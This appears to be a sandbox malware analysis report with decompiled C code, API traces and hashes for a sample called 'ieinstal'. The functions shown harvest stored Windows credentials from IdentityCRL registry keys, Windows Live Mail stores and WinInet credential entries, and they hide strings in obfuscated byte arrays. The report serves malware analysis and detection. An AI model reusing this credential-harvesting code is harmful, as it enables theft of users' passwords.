                                                                                                                            0x0040f50b
                                                                                                                            0x0040f515
                                                                                                                            0x0040f51f
                                                                                                                            0x0040f523
                                                                                                                            0x0040f53a
                                                                                                                            0x0040f53e
                                                                                                                            0x0040f549
                                                                                                                            0x0040f553
                                                                                                                            0x0040f55c
                                                                                                                            0x0040f571
                                                                                                                            0x0040f58c
                                                                                                                            0x0040f58c
                                                                                                                            0x0040f595
                                                                                                                            0x0040f595
                                                                                                                            0x0040f549
                                                                                                                            0x0040f50b
                                                                                                                            0x0040f59f
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            • RegOpenKeyExA.KERNELBASE(80000001,Software\Microsoft\IdentityCRL,00000000,00020019,?,?,?,?,?,00403E6C,?), ref: 0040F4A9
                                                                                                                            • RegOpenKeyExA.KERNELBASE(?,Dynamic Salt,00000000,00020019,?,?,?,?,?,00403E6C,?), ref: 0040F4C3
                                                                                                                            • RegQueryValueExA.ADVAPI32(?,Value,00000000,?,?,?,?,?,?,?,00403E6C,?), ref: 0040F4EE
                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,?,?,00403E6C,?), ref: 0040F59F
                                                                                                                              • Part of subcall function 0040472F: LoadLibraryA.KERNELBASE(?,0040F08A,?,00000000), ref: 00404737
                                                                                                                              • Part of subcall function 0040472F: GetProcAddress.KERNEL32(00000000,?), ref: 0040474F
                                                                                                                            • memcpy.MSVCRT ref: 0040F55C
                                                                                                                            • memcpy.MSVCRT ref: 0040F571
                                                                                                                              • Part of subcall function 0040F177: RegOpenKeyExA.ADVAPI32(0040F591,Creds,00000000,00020019,0040F591,0044FE50,00000040,?,?,0040F591,?,?,?,?), ref: 0040F1A1
                                                                                                                              • Part of subcall function 0040F177: memset.MSVCRT ref: 0040F1BF
                                                                                                                              • Part of subcall function 0040F177: RegEnumKeyA.ADVAPI32(?,00000000,?,000000FF), ref: 0040F2C3
                                                                                                                              • Part of subcall function 0040F177: RegCloseKey.ADVAPI32(?), ref: 0040F2D4
                                                                                                                            • LocalFree.KERNEL32(?,?,00001000,?,?,?,?,?,00403E6C,?), ref: 0040F595
                                                                                                                            • RegCloseKey.KERNELBASE(?,?,?,?,?,00403E6C,?), ref: 0040F5A9
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: CloseOpen$memcpy$AddressEnumFreeLibraryLoadLocalProcQueryValuememset
                                                                                                                            • String ID: Dynamic Salt$Software\Microsoft\IdentityCRL$Value
                                                                                                                            • API String ID: 2768085393-888555734
                                                                                                                            • Opcode ID: 1864ca7fcc736b3b4d801ba3f1c1f05252c21c348af15f97a92f57202a3284fd
                                                                                                                            • Instruction ID: 1e95abdde633212bff99c09de4f86b0a88236e9255236bdff490daf84838ddbe
                                                                                                                            • Opcode Fuzzy Hash: 1864ca7fcc736b3b4d801ba3f1c1f05252c21c348af15f97a92f57202a3284fd
                                                                                                                            • Instruction Fuzzy Hash: 3F316FB2108305BFD710DF51DC80D9BB7ECEB89758F00093AFA84E2151D734D9198BAA
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0044412E Relevance: 18.1, APIs: 12, Instructions: 128COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 249 44412e-44414a call 44431c GetModuleHandleA 252 44414c-444157 249->252 253 44416b-44416e 249->253 252->253 254 444159-444162 252->254 255 444197-4441e4 __set_app_type __p__fmode __p__commode call 444318 253->255 256 444164-444169 254->256 257 444183-444187 254->257 264 4441e6-4441f1 __setusermatherr 255->264 265 4441f2-44424c call 444306 _initterm __getmainargs _initterm 255->265 256->253 259 444170-444177 256->259 257->253 260 444189-44418b 257->260 259->253 262 444179-444181 259->262 263 444191-444194 260->263 262->263 263->255 264->265 268 44424e-444256 265->268 269 444288-44428b 265->269 270 44425c-44425f 268->270 271 444258-44425a 268->271 272 444265-444269 269->272 273 44428d-444291 269->273 270->272 274 444261-444262 270->274 271->268 271->270 275 44426f-444280 GetStartupInfoA 272->275 276 44426b-44426d 272->276 273->269 274->272 277 444282-444286 275->277 278 444293-444295 275->278 276->274 276->275 279 444296-4442aa GetModuleHandleA call 40cc66 277->279 278->279 282 4442b3-4442f3 _cexit call 444355 279->282 283 4442ac-4442ad exit 279->283 283->282
                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: HandleModule_initterm$InfoStartup__getmainargs__p__commode__p__fmode__set_app_type__setusermatherr_cexitexit
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3662548030-0
                                                                                                                            • Opcode ID: 871beeaf43a2e3e1ebbf438e66662d4fa1d9833c620b3867bfec3142b5046d35
                                                                                                                            • Instruction ID: fc298a0057bb7b157c7d5bb9a283569fada43ed9a32b195ba4478b44b5386df1
                                                                                                                            • Opcode Fuzzy Hash: 871beeaf43a2e3e1ebbf438e66662d4fa1d9833c620b3867bfec3142b5046d35
                                                                                                                            • Instruction Fuzzy Hash: 9E419F74D00714DFEB209FA4D8897AE7BB4BB85715F20016BF4519B2A2D7B88C82CB58
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004437D7 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 97stringCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 004437F8
                                                                                                                              • Part of subcall function 0040732D: strlen.MSVCRT ref: 0040732F
                                                                                                                              • Part of subcall function 0040732D: strlen.MSVCRT ref: 0040733A
                                                                                                                              • Part of subcall function 0040732D: _mbscat.MSVCRT ref: 00407351
                                                                                                                              • Part of subcall function 0041072B: memset.MSVCRT ref: 00410780
                                                                                                                              • Part of subcall function 0041072B: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000104), ref: 004107E9
                                                                                                                              • Part of subcall function 0041072B: _mbscpy.MSVCRT ref: 004107F7
                                                                                                                            • memset.MSVCRT ref: 00443866
                                                                                                                            • memset.MSVCRT ref: 00443881
                                                                                                                              • Part of subcall function 00410493: RegCloseKey.ADVAPI32(000003FF,?,?,?,?,00000000,000003FF), ref: 004104CC
                                                                                                                            • ExpandEnvironmentStringsA.KERNEL32(?,?,00000104,?,?,?,?,?,?,00000000,00000104,00000104,?,?,?,?), ref: 004438BA
                                                                                                                            • strlen.MSVCRT ref: 004438C8
                                                                                                                            • _strcmpi.MSVCRT ref: 004438EE
                                                                                                                            Strings
                                                                                                                            • Software\Microsoft\Windows Live Mail, xrefs: 00443897
                                                                                                                            • \Microsoft\Windows Live Mail, xrefs: 0044383D
                                                                                                                            • \Microsoft\Windows Mail, xrefs: 00443816
                                                                                                                            • Store Root, xrefs: 00443892
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memset$strlen$Close$EnvironmentExpandStrings_mbscat_mbscpy_strcmpi
                                                                                                                            • String ID: Software\Microsoft\Windows Live Mail$Store Root$\Microsoft\Windows Live Mail$\Microsoft\Windows Mail
                                                                                                                            • API String ID: 832325562-2578778931
                                                                                                                            • Opcode ID: 911bb342f14f3170cb2ff673aa6b7b07c4e29c197a8c78c2517f4db812832f04
                                                                                                                            • Instruction ID: 024f477f45f6e85a7703d2448ebd5bdc30730893e4efb81a5a52e1788c76f972
                                                                                                                            • Opcode Fuzzy Hash: 911bb342f14f3170cb2ff673aa6b7b07c4e29c197a8c78c2517f4db812832f04
                                                                                                                            • Instruction Fuzzy Hash: 723166B2508344AAF320FB99DC47FCB77DC9B88715F14441FF648D7182EA78964487AA
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040EDD5 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 180registryCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 308 40edd5-40ef32 memset * 2 call 407649 * 2 RegOpenKeyExA 313 40ef38-40ef5f RegQueryValueExA 308->313 314 40f04e-40f054 308->314 315 40f045-40f048 RegCloseKey 313->315 316 40ef65-40ef69 313->316 315->314 316->315 317 40ef6f-40ef79 316->317 318 40ef7b-40ef8d call 404666 call 40472f 317->318 319 40efec 317->319 329 40efdf-40efea call 404780 318->329 330 40ef8f-40efb3 call 4047a0 318->330 320 40efef-40eff2 319->320 320->315 322 40eff4-40f034 call 4012ee RegQueryValueExA 320->322 322->315 328 40f036-40f044 322->328 328->315 329->320 330->329 335 40efb5-40efb8 330->335 336 40efd6-40efd9 LocalFree 335->336 337 40efba-40efcf memcpy 335->337 336->329 337->336
                                                                                                                            C-Code - Quality: 100%
                                                                                                                            			E0040EDD5(void* __ecx, int _a4, int _a8) {
				char _v6;
				char _v7;
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				char _v25;
				char _v26;
				char _v27;
				char _v28;
				char _v29;
				char _v30;
				char _v31;
				char _v32;
				char _v34;
				char _v35;
				char _v36;
				char _v37;
				char _v38;
				char _v39;
				char _v40;
				char _v41;
				char _v42;
				char _v43;
				char _v44;
				char _v45;
				char _v46;
				char _v47;
				char _v48;
				char _v49;
				char _v50;
				char _v51;
				char _v52;
				char _v53;
				char _v54;
				char _v55;
				char _v56;
				char _v57;
				char _v58;
				char _v59;
				char _v60;
				char _v61;
				char _v62;
				char _v63;
				char _v64;
				void* _v68;
				int* _v72;
				void* _v76;
				int _v80;
				char* _v84;
				char* _v88;
				void _v343;
				char _v344;
				void _v599;
				char _v600;
				char _v1124;
				int* _v1125;
				char _v2146;
				void _v2148;
				void* __edi;
				void* __esi;
				long _t111;
				long _t116;
				intOrPtr _t118;
				int* _t138;
				void* _t140;
				char* _t148;

				_t140 = __ecx;
				_t138 = 0;
				_v64 = 0x9b;
				_v63 = 0xa9;
				_v62 = 0xba;
				_v61 = 0xa5;
				_v60 = 0xa0;
				_v59 = 0xbb;
				_v58 = 0xa7;
				_v57 = 0xb6;
				_v56 = 0xfd;
				_v55 = 0x9e;
				_v54 = 0x94;
				_v53 = 0x8a;
				_v52 = 0xff;
				_v51 = 0x91;
				_v50 = 0xb8;
				_v49 = 0xa9;
				_v48 = 0xa8;
				_v47 = 0xbd;
				_v46 = 0xb7;
				_v45 = 0x81;
				_v44 = 0x82;
				_v43 = 0x96;
				_v42 = 0xc5;
				_v41 = 0xb1;
				_v40 = 0x86;
				_v39 = 0x92;
				_v38 = 0x97;
				_v37 = 0x87;
				_v36 = 0x8c;
				_v35 = 0x89;
				_v34 = 0;
				_v32 = 0x9e;
				_v31 = 0xbb;
				_v30 = 0xac;
				_v29 = 0xa4;
				_v28 = 0xf9;
				_v27 = 0x9a;
				_v26 = 0x90;
				_v25 = 0x86;
				_v24 = 0xf3;
				_v23 = 0x9d;
				_v22 = 0xb4;
				_v21 = 0xad;
				_v20 = 0xac;
				_v19 = 0xb9;
				_v18 = 0xb3;
				_v17 = 0xbd;
				_v16 = 0xbe;
				_v15 = 0xaa;
				_v14 = 0xf9;
				_v13 = 0xb5;
				_v12 = 0x82;
				_v11 = 0x96;
				_v10 = 0x93;
				_v9 = 0x8b;
				_v8 = 0x80;
				_v7 = 0x85;
				_v6 = 0;
				_v344 = 0;
				memset( &_v343, 0, 0xff);
				_v600 = 0;
				memset( &_v599, 0, 0xff);
				E00407649(_t140,  &_v344,  &_v64);
				E00407649(_t140,  &_v600,  &_v32);
				_t111 = RegOpenKeyExA(0x80000001, _a4, 0, 0x20019,  &_v68); // executed
				if(_t111 != 0) {
					L15:
					return _t138;
				}
				_a4 = 0x400;
				_t116 = RegQueryValueExA(_v68,  &_v344, 0, 0,  &_v2148,  &_a4);
				if(_t116 != 0) {
					L14:
					RegCloseKey(_v68);
					goto L15;
				}
				_t118 = _t116 + 1;
				if(_a4 <= _t118) {
					goto L14;
				}
				_t156 = _v2148 - 0x20;
				_v72 = 0;
				if(_v2148 >= 0x20) {
					_v72 = _t118;
					L11:
					if(_v72 != _t138) {
						_t148 = _a8;
						_t94 =  &(_t148[0x100]); // 0x1be
						_v1125 = _t138;
						E004012EE( &_v2148, _t94, 0xff);
						_a8 = 0xff;
						if(RegQueryValueExA(_v68,  &_v600, _t138, _t138, _t148,  &_a8) == 0) {
							_t148[0xfe] = _t138;
							_t148[0x1fe] = _t138;
							_t138 = 1;
						}
					}
					goto L14;
				}
				_t149 =  &_v1124;
				E00404666( &_v1124);
				if(E0040472F( &_v1124, _t156) == 0) {
					L9:
					E00404780( &_v1124);
					goto L11;
				}
				_v88 =  &(_a4[0xfffffffffffffffe]);
				_v84 =  &_v2146;
				if(E004047A0(_t149,  &_v88, 0,  &_v80) == 0) {
					goto L9;
				}
				if(_v80 < 0x400) {
					memcpy( &_v2148, _v76, _v80);
					_v72 = 1;
				}
				LocalFree(_v76);
				goto L9;
			}



















































































                                                                                                                            0x0040edd5
                                                                                                                            0x0040ede1
                                                                                                                            0x0040edf0
                                                                                                                            0x0040edf4
                                                                                                                            0x0040edf8
                                                                                                                            0x0040edfc
                                                                                                                            0x0040ee00
                                                                                                                            0x0040ee04
                                                                                                                            0x0040ee08
                                                                                                                            0x0040ee0c
                                                                                                                            0x0040ee10
                                                                                                                            0x0040ee14
                                                                                                                            0x0040ee18
                                                                                                                            0x0040ee1c
                                                                                                                            0x0040ee20
                                                                                                                            0x0040ee24
                                                                                                                            0x0040ee28
                                                                                                                            0x0040ee2c
                                                                                                                            0x0040ee30
                                                                                                                            0x0040ee34
                                                                                                                            0x0040ee38
                                                                                                                            0x0040ee3c
                                                                                                                            0x0040ee40
                                                                                                                            0x0040ee44
                                                                                                                            0x0040ee48
                                                                                                                            0x0040ee4c
                                                                                                                            0x0040ee50
                                                                                                                            0x0040ee54
                                                                                                                            0x0040ee58
                                                                                                                            0x0040ee5c
                                                                                                                            0x0040ee60
                                                                                                                            0x0040ee64
                                                                                                                            0x0040ee68
                                                                                                                            0x0040ee6b
                                                                                                                            0x0040ee6f
                                                                                                                            0x0040ee73
                                                                                                                            0x0040ee77
                                                                                                                            0x0040ee7b
                                                                                                                            0x0040ee7f
                                                                                                                            0x0040ee83
                                                                                                                            0x0040ee87
                                                                                                                            0x0040ee8b
                                                                                                                            0x0040ee8f
                                                                                                                            0x0040ee93
                                                                                                                            0x0040ee97
                                                                                                                            0x0040ee9b
                                                                                                                            0x0040ee9f
                                                                                                                            0x0040eea3
                                                                                                                            0x0040eea7
                                                                                                                            0x0040eeab
                                                                                                                            0x0040eeaf
                                                                                                                            0x0040eeb3
                                                                                                                            0x0040eeb7
                                                                                                                            0x0040eebb
                                                                                                                            0x0040eebf
                                                                                                                            0x0040eec3
                                                                                                                            0x0040eec7
                                                                                                                            0x0040eecb
                                                                                                                            0x0040eecf
                                                                                                                            0x0040eed3
                                                                                                                            0x0040eed6
                                                                                                                            0x0040eedc
                                                                                                                            0x0040eeee
                                                                                                                            0x0040eef4
                                                                                                                            0x0040ef05
                                                                                                                            0x0040ef13
                                                                                                                            0x0040ef2a
                                                                                                                            0x0040ef32
                                                                                                                            0x0040f050
                                                                                                                            0x0040f054
                                                                                                                            0x0040f054
                                                                                                                            0x0040ef54
                                                                                                                            0x0040ef57
                                                                                                                            0x0040ef5f
                                                                                                                            0x0040f045
                                                                                                                            0x0040f048
                                                                                                                            0x00000000
                                                                                                                            0x0040f048
                                                                                                                            0x0040ef65
                                                                                                                            0x0040ef69
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040ef6f
                                                                                                                            0x0040ef76
                                                                                                                            0x0040ef79
                                                                                                                            0x0040efec
                                                                                                                            0x0040efef
                                                                                                                            0x0040eff2
                                                                                                                            0x0040eff4
                                                                                                                            0x0040effc
                                                                                                                            0x0040f008
                                                                                                                            0x0040f00e
                                                                                                                            0x0040f025
                                                                                                                            0x0040f034
                                                                                                                            0x0040f036
                                                                                                                            0x0040f03c
                                                                                                                            0x0040f044
                                                                                                                            0x0040f044
                                                                                                                            0x0040f034
                                                                                                                            0x00000000
                                                                                                                            0x0040eff2
                                                                                                                            0x0040ef7b
                                                                                                                            0x0040ef81
                                                                                                                            0x0040ef8d
                                                                                                                            0x0040efdf
                                                                                                                            0x0040efe5
                                                                                                                            0x00000000
                                                                                                                            0x0040efe5
                                                                                                                            0x0040ef95
                                                                                                                            0x0040ef9e
                                                                                                                            0x0040efb3
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040efb8
                                                                                                                            0x0040efc7
                                                                                                                            0x0040efcf
                                                                                                                            0x0040efcf
                                                                                                                            0x0040efd9
                                                                                                                            0x00000000

                                                                                                                            APIs
                                                                                                                            • memset.MSVCRT ref: 0040EEDC
                                                                                                                            • memset.MSVCRT ref: 0040EEF4
                                                                                                                              • Part of subcall function 00407649: _mbsnbcat.MSVCRT ref: 00407669
                                                                                                                            • RegOpenKeyExA.KERNELBASE(80000001,00000082,00000000,00020019,?,?,?,?,?,00000000), ref: 0040EF2A
                                                                                                                            • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,00000082,?,?,?,?,00000000), ref: 0040EF57
                                                                                                                            • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,000000BE,000000BE,?,?,?,?,00000000), ref: 0040F02C
                                                                                                                              • Part of subcall function 00404666: _mbscpy.MSVCRT ref: 004046B5
                                                                                                                              • Part of subcall function 0040472F: LoadLibraryA.KERNELBASE(?,0040F08A,?,00000000), ref: 00404737
                                                                                                                              • Part of subcall function 0040472F: GetProcAddress.KERNEL32(00000000,?), ref: 0040474F
                                                                                                                            • memcpy.MSVCRT ref: 0040EFC7
                                                                                                                            • LocalFree.KERNEL32(?,?,00000000,?,?,?,?,?,00000000), ref: 0040EFD9
                                                                                                                            • RegCloseKey.ADVAPI32(?,?,?,?,?,00000000), ref: 0040F048
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: QueryValuememset$AddressCloseFreeLibraryLoadLocalOpenProc_mbscpy_mbsnbcatmemcpy
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2012582556-3916222277
                                                                                                                            • Opcode ID: 1aaa39dbd8fb085207e3379016ade5c185f92c0e596cea5d3bc0b7e8a3d19efa
                                                                                                                            • Instruction ID: 747b8e804c7bbb21ad1dd8da88f93546a58f2d2a8080c646c51fe7008e5948b4
                                                                                                                            • Opcode Fuzzy Hash: 1aaa39dbd8fb085207e3379016ade5c185f92c0e596cea5d3bc0b7e8a3d19efa
                                                                                                                            • Instruction Fuzzy Hash: 83811E618087CB9ECB21DBBC8C445DDBF745F17234F0843A9E5B47A2E2D3245A46C7AA
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00408458 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 152COMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 338 408458-40847c call 4045d6 341 408482-40848e 338->341 342 408668-408677 call 404651 338->342 344 408490-4084a3 CredEnumerateW 341->344 345 4084a5-4084a9 341->345 344->345 345->342 349 4084af-4084dc wcslen 345->349 350 408660-408664 LocalFree 349->350 351 4084e2-4084e6 349->351 350->342 351->350 352 4084ec-408510 _wcsncoll 351->352 353 408516-40852d 352->353 354 40864e-40865a 352->354 353->353 355 40852f-408560 call 404666 call 40472f 353->355 354->350 354->351 360 408642-408649 call 404780 355->360 361 408566-40857e call 4047a0 355->361 360->354 361->360 365 408584-4085ad memset 361->365 366 4085b1-40861c memcpy wcschr 365->366 367 4085af 365->367 368 408628-40863c LocalFree 366->368 369 40861e-408624 366->369 367->366 368->360 369->368
                                                                                                                            C-Code - Quality: 74%
                                                                                                                            			E00408458(void* __eflags, intOrPtr* _a4) {
				char _v532;
				short _v534;
				void _v1042;
				void _v1044;
				long _v1080;
				intOrPtr _v1084;
				intOrPtr _v1088;
				void* _v1096;
				int _v1104;
				char _v1108;
				intOrPtr _v1112;
				intOrPtr _v1116;
				intOrPtr _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				long* _v1136;
				wchar_t* _v1140;
				char _v1144;
				intOrPtr _v1148;
				char _v1152;
				intOrPtr _v1156;
				char _v1160;
				void* _v1164;
				void* _v1168;
				int _v1172;
				intOrPtr _v1176;
				char _v1180;
				int _v1184;
				signed int _v1188;
				void* __edi;
				void* __esi;
				void* _t76;
				wchar_t* _t82;
				wchar_t* _t108;
				wchar_t* _t109;
				signed int _t119;
				int _t125;
				void* _t128;
				intOrPtr _t133;
				signed int _t139;
				void* _t141;
				void* _t142;
				void* _t143;

				_t141 = (_t139 & 0xfffffff8) - 0x4a4;
				_push(_t128);
				_v1108 = 0;
				_v1104 = 0;
				if(E004045D6( &_v1108, _t128, __eflags) != 0) {
					_v1184 = 0;
					_v1180 = 0;
					if(_v1088 == 0) {
						_t76 = 0;
						__eflags = 0;
					} else {
						_t76 = _v1084(0, 0,  &_v1180,  &_v1184);
					}
					if(_t76 != 0) {
						_t119 = 9;
						memcpy( &_v1080, 0x446334, _t119 << 2);
						_t142 = _t141 + 0xc;
						_v1172 = wcslen( &_v1080);
						_v1176 = 1;
						_v1188 = 0;
						if(_v1180 > 0) {
							while(_v1176 != 0) {
								_t133 =  *((intOrPtr*)(_v1184 + _v1188 * 4));
								_t82 =  &_v1080;
								0x4440f2( *((intOrPtr*)(_t133 + 8)), _t82, _v1172);
								_t142 = _t142 + 0xc;
								if(_t82 == 0) {
									do {
										 *(_t82 + 0x451c30) =  *(_t82 + 0x450930) << 2;
										_t82 = _t82 + 2;
										_t151 = _t82 - 0x4a;
									} while (_t82 < 0x4a);
									_v1148 =  *((intOrPtr*)(_t133 + 0x1c));
									_t138 =  &_v532;
									_v1160 = 0x4a;
									_v1156 = 0x451c30;
									_v1152 =  *((intOrPtr*)(_t133 + 0x18));
									E00404666( &_v532);
									if(E0040472F( &_v532, _t151) != 0 && E004047A0(_t138,  &_v1152,  &_v1160,  &_v1168) != 0) {
										_v1044 = 0;
										memset( &_v1042, 0, 0x1fe);
										_t125 = _v1168;
										_t143 = _t142 + 0xc;
										if(_t125 > 0x1fa) {
											_t125 = 0x1fa;
										}
										memcpy( &_v1044, _v1164, _t125);
										_v1120 =  *((intOrPtr*)(_t133 + 0x20));
										_v1124 =  *((intOrPtr*)(_t133 + 4));
										_v1116 =  *((intOrPtr*)(_t133 + 0x10));
										_v1112 =  *((intOrPtr*)(_t133 + 0x14));
										_v1128 =  *((intOrPtr*)(_t133 + 0x2c));
										_v1144 =  *((intOrPtr*)(_t133 + 8));
										_v1132 =  *((intOrPtr*)(_t133 + 0xc));
										_t108 =  &_v1044;
										_v534 = 0;
										_v1140 = _t108;
										_v1136 = 0x445830;
										_t109 = wcschr(_t108, 0x3a);
										_t142 = _t143 + 0x14;
										if(_t109 != 0) {
											 *_t109 = 0;
											_v1136 =  &(_t109[0]);
										}
										_v1180 =  *((intOrPtr*)( *_a4))( &_v1144);
										LocalFree(_v1168);
									}
									E00404780( &_v532);
								}
								_v1188 = _v1188 + 1;
								if(_v1188 < _v1180) {
									continue;
								}
								goto L18;
							}
						}
						L18:
						LocalFree(_v1184);
					}
				}
				return E00404651( &_v1108);
			}















































                                                                                                                            0x0040845e
                                                                                                                            0x00408468
                                                                                                                            0x0040846d
                                                                                                                            0x00408471
                                                                                                                            0x0040847c
                                                                                                                            0x00408486
                                                                                                                            0x0040848a
                                                                                                                            0x0040848e
                                                                                                                            0x004084a5
                                                                                                                            0x004084a5
                                                                                                                            0x00408490
                                                                                                                            0x0040849c
                                                                                                                            0x0040849c
                                                                                                                            0x004084a9
                                                                                                                            0x004084b1
                                                                                                                            0x004084c0
                                                                                                                            0x004084c0
                                                                                                                            0x004084cc
                                                                                                                            0x004084d0
                                                                                                                            0x004084d8
                                                                                                                            0x004084dc
                                                                                                                            0x004084e2
                                                                                                                            0x004084f4
                                                                                                                            0x004084fb
                                                                                                                            0x00408506
                                                                                                                            0x0040850b
                                                                                                                            0x00408510
                                                                                                                            0x00408516
                                                                                                                            0x00408521
                                                                                                                            0x00408529
                                                                                                                            0x0040852a
                                                                                                                            0x0040852a
                                                                                                                            0x00408532
                                                                                                                            0x00408539
                                                                                                                            0x00408540
                                                                                                                            0x00408548
                                                                                                                            0x00408550
                                                                                                                            0x00408554
                                                                                                                            0x00408560
                                                                                                                            0x00408592
                                                                                                                            0x0040859a
                                                                                                                            0x0040859f
                                                                                                                            0x004085a8
                                                                                                                            0x004085ad
                                                                                                                            0x004085af
                                                                                                                            0x004085af
                                                                                                                            0x004085be
                                                                                                                            0x004085c6
                                                                                                                            0x004085cd
                                                                                                                            0x004085d4
                                                                                                                            0x004085db
                                                                                                                            0x004085e2
                                                                                                                            0x004085e9
                                                                                                                            0x004085f0
                                                                                                                            0x004085f4
                                                                                                                            0x004085fe
                                                                                                                            0x00408606
                                                                                                                            0x0040860a
                                                                                                                            0x00408612
                                                                                                                            0x00408617
                                                                                                                            0x0040861c
                                                                                                                            0x0040861e
                                                                                                                            0x00408624
                                                                                                                            0x00408624
                                                                                                                            0x00408638
                                                                                                                            0x0040863c
                                                                                                                            0x0040863c
                                                                                                                            0x00408649
                                                                                                                            0x00408649
                                                                                                                            0x0040864e
                                                                                                                            0x0040865a
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x0040865a
                                                                                                                            0x004084e2
                                                                                                                            0x00408660
                                                                                                                            0x00408664
                                                                                                                            0x00408664
                                                                                                                            0x004084a9
                                                                                                                            0x00408677

                                                                                                                            APIs
                                                                                                                              • Part of subcall function 004045D6: LoadLibraryA.KERNEL32(advapi32.dll,?,0040F07D,?,00000000), ref: 004045E3
                                                                                                                              • Part of subcall function 004045D6: GetProcAddress.KERNEL32(00000000,CredReadA), ref: 004045FC
                                                                                                                              • Part of subcall function 004045D6: GetProcAddress.KERNEL32(?,CredFree), ref: 00404608
                                                                                                                              • Part of subcall function 004045D6: GetProcAddress.KERNEL32(?,CredDeleteA), ref: 00404614
                                                                                                                              • Part of subcall function 004045D6: GetProcAddress.KERNEL32(?,CredEnumerateA), ref: 00404620
                                                                                                                              • Part of subcall function 004045D6: GetProcAddress.KERNEL32(?,CredEnumerateW), ref: 0040462C
                                                                                                                            • wcslen.MSVCRT ref: 004084C2
                                                                                                                            • _wcsncoll.MSVCRT ref: 00408506
                                                                                                                            • memset.MSVCRT ref: 0040859A
                                                                                                                            • memcpy.MSVCRT ref: 004085BE
                                                                                                                            • wcschr.MSVCRT ref: 00408612
                                                                                                                            • LocalFree.KERNEL32(?,?,?,?,?,?,?), ref: 0040863C
                                                                                                                              • Part of subcall function 00404780: FreeLibrary.KERNELBASE(?,?,0040F171,?,00000000), ref: 00404795
                                                                                                                            • LocalFree.KERNELBASE(?), ref: 00408664
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001E.00000002.2469280981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_30_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: AddressProc$Free$LibraryLocal$Load_wcsncollmemcpymemsetwcschrwcslen
                                                                                                                            • String ID: J$Microsoft_WinInet
                                                                                                                            • API String ID: 2612903905-260894208
                                                                                                                            • Opcode ID: 16b20249654c67f53eccac8b236a4263c6876ac6a245db74242d08f005f31d3d
                                                                                                                            • Instruction ID: daadb017bf7cdd7d7f2103bea61dec75ef30dccaf082131e005dcc9144427660
                                                                                                                            • Opcode Fuzzy Hash: 16b20249654c67f53eccac8b236a4263c6876ac6a245db74242d08f005f31d3d
                                                                                                                            • Instruction Fuzzy Hash: D55115B1508346AFD720DF65C980A5BB7E8FF89304F00492EF998D3251EB39E918CB56
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 004037BC Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 86stringCOMMON
                                                                                                                            Download Yara Rule

                                                                                                                            Control-flow Graph

                                                                                                                            • Executed
                                                                                                                            • Not Executed
